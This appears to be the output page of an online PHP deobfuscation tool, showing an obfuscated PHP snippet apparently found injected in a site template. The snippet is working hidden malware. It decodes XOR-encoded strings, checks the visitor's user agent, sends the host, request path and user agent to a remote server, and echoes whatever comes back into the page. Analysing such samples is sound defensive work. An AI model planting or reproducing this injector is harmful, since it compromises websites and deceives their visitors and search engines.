Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class tZW{private static$ysq;static function WM($kyr,$r){if(!self::$ysq):self::Y();e..
Decoded Output download
<?php class tZW{private static$ysq;static function WM($kyr,$r){if(!self::$ysq):self::Y();endif;$vdu=StRlEN($r);$mnu=bASE64_dEcoDe(self::$ysq[$kyr]);for($fe=(-0351-061+0135- -0275),$p=StRLeN($mnu);$fe!==$p;++$fe):$mnu[$fe]=cHR(Ord($mnu[$fe])^oRD($r[$fe%$vdu]));endfor;return$mnu;}private static function Y(){self::$ysq=array("0"=>"VVhCQV1QSG5UQ0NeQ0I=","2"=>"e2dnY2xmYHZhbHJ0dn1n","4"=>"GnJQVl5aSXhmfHAaXA==","6"=>"GFVYQxhe","8"=>"UU1NSQMWFg==","10"=>"WUVFQQ==","12"=>"XFZFUg==","14"=>"H1ZeWB4=","16"=>"XFJFVg==","18"=>"HgZYSQw=","20"=>"YHR/fmZ0bXB2dWA=","22"=>"FEFXVVdBV0EP","24"=>"emFmZW19fWZm","26"=>"FEJTCg==","28"=>"UUxAVW1QXFBG","30"=>"UERBXWxUS1RQ","32"=>"VVpfVmxUVkdsUFxdR1ZdR0A=","34"=>"UllfWkRqRkdfalVaQ1Bd","36"=>"VVhDUl0=","38"=>"QE1BXFJUbF5WTWxaXFdHXF1NQA==","40"=>"Rg==","42"=>"R1BG",);}}ErRoR_rEPorTInG((int)RoUNd(0+0+0));@INI_sET(Tzw::wm("0","1"),(int)RoUnd(0+0+0+0));$dqh=@$_SERVER[TZw::wm("2","3")];if((PrEG_maTCH(TZw::Wm("4","5"),$dqh)&&!Preg_MAtch(tZw::Wm("6","7"),$dqh))):$ato=tZw::WM("8","9").tzW::wm("10","11").TZw::Wm("12","13").Tzw::wm("14","15").tZW::wM("16","17").TZw::wM("18","19").$_SERVER[Tzw::Wm("20","21")].TZW::wm("22","23").uRlEncOde($_SERVER[Tzw::WM("24","25")]).TzW::wM("26","27").uRlEnCoDE($dqh);if(FunctION_ExIsts(TzW::Wm("28","29"))&&fUnCtIoN_EXiSTS(TZW::Wm("30","31"))):$kj=CurL_InIt();curL_setoPt($kj,CURLOPT_URL,$ato);CuRl_SetoPt($kj,CURLOPT_TIMEOUT,-01003+-0152+01201);cURL_sEtOPT($kj,CURLOPT_RETURNTRANSFER,03+-02);$ye=CUrl_eXeC($kj);CURL_cLOSE($kj);elseif(FuncTioN_exISts(TzW::Wm("32","33"))&&@ini_gEt(tZw::Wm("34","35"))):$ye=@fILe_GeT_cOntenTS($ato);elseif(funCtioN_EXISTS(tZW::wM("36","37"))&&FunCTION_Exists(TZw::Wm("38","39"))):$ye=@StReam_GET_coNtENTs(@Fopen($ato,tzW::wm("40","41")));endif;endif;if(SUbStR($ye,0312- -0162+0351+-01044,-0537+0542)===tZW::wM("42","43")):echo$ye;endif; ?></head>
Did this file decode correctly?
Original Code
<?php class tZW{private static$ysq;static function WM($kyr,$r){if(!self::$ysq):self::Y();endif;$vdu=StRlEN($r);$mnu=bASE64_dEcoDe(self::$ysq[$kyr]);for($fe=(-0351-061+0135- -0275),$p=StRLeN($mnu);$fe!==$p;++$fe):$mnu[$fe]=cHR(Ord($mnu[$fe])^oRD($r[$fe%$vdu]));endfor;return$mnu;}private static function Y(){self::$ysq=array("\x30"=>"VVhC\x51V1Q\x53G5\125Q0N\x65Q0\111\x3d","\062"=>"e\x32dnY\062xmYHZh\142\x48J\x30dn1n","\x34"=>"Gn\112QV\x6c5aSXhm\146HAaXA=\x3d","6"=>"GF\x56YQx\x68e","8"=>"\x55U\x31NS\x51MW\106g==","10"=>"WUVFQ\x51=\075","12"=>"XF\132FUg==","\x314"=>"H1ZeWB4=","\x316"=>"XF\x4aFVg==","18"=>"\110gZYSQ\167=","2\x30"=>"YHR/fmZ0bXB2dW\101\x3d","\062\062"=>"F\x45\x46\x58VVd\x42V\x30\105P","2\064"=>"e\155FmZW19fWZ\x6d","26"=>"FEJTC\147=\075","28"=>"UUxAVW\061QXF\102G","\x330"=>"\x55ER\x42XW\170\125\1231RQ","32"=>"V\126\x70fV\x6dxUVkdsUF\170d\x521\x5adR0\101=","3\x34"=>"UllfW\x6b\x52qR\x6bdfalVaQ1B\x64","36"=>"VVhDUl0\075","\x338"=>"QE1BXF\x4aU\x62F5WTWxa\x58FdH\130\106\x31\116QA=\x3d","40"=>"\122g\x3d=","4\062"=>"\x52\061B\x47",);}}ErRoR_rEPorTInG((int)RoUNd(0+0+0));@INI_sET(Tzw::wm("0","1"),(int)RoUnd(0+0+0+0));$dqh=@$_SERVER[TZw::wm("\062","3")];if((PrEG_maTCH(TZw::Wm("\x34","5"),$dqh)&&!Preg_MAtch(tZw::Wm("6","7"),$dqh))):$ato=tZw::WM("8","\x39").tzW::wm("\x310","1\x31").TZw::Wm("12","13").Tzw::wm("1\064","15").tZW::wM("16","17").TZw::wM("18","\x319").$_SERVER[Tzw::Wm("\062\060","21")].TZW::wm("\0622","23").uRlEncOde($_SERVER[Tzw::WM("\0624","\0625")]).TzW::wM("26","27").uRlEnCoDE($dqh);if(FunctION_ExIsts(TzW::Wm("2\070","29"))&&fUnCtIoN_EXiSTS(TZW::Wm("\0630","31"))):$kj=CurL_InIt();curL_setoPt($kj,CURLOPT_URL,$ato);CuRl_SetoPt($kj,CURLOPT_TIMEOUT,-01003+-0152+01201);cURL_sEtOPT($kj,CURLOPT_RETURNTRANSFER,03+-02);$ye=CUrl_eXeC($kj);CURL_cLOSE($kj);elseif(FuncTioN_exISts(TzW::Wm("32","\x333"))&&@ini_gEt(tZw::Wm("3\064","\063\x35"))):$ye=@fILe_GeT_cOntenTS($ato);elseif(funCtioN_EXISTS(tZW::wM("36","3\x37"))&&FunCTION_Exists(TZw::Wm("38","3\071"))):$ye=@StReam_GET_coNtENTs(@Fopen($ato,tzW::wm("40","\x341")));endif;endif;if(SUbStR($ye,0312- -0162+0351+-01044,-0537+0542)===tZW::wM("42","4\063")):echo$ye;endif; ?></head>
Function Calls
None |
Stats
MD5 | 3ae34d6752e87d6f35e4ef47cd97c6a4 |
Eval Count | 0 |
Decode Time | 99 ms |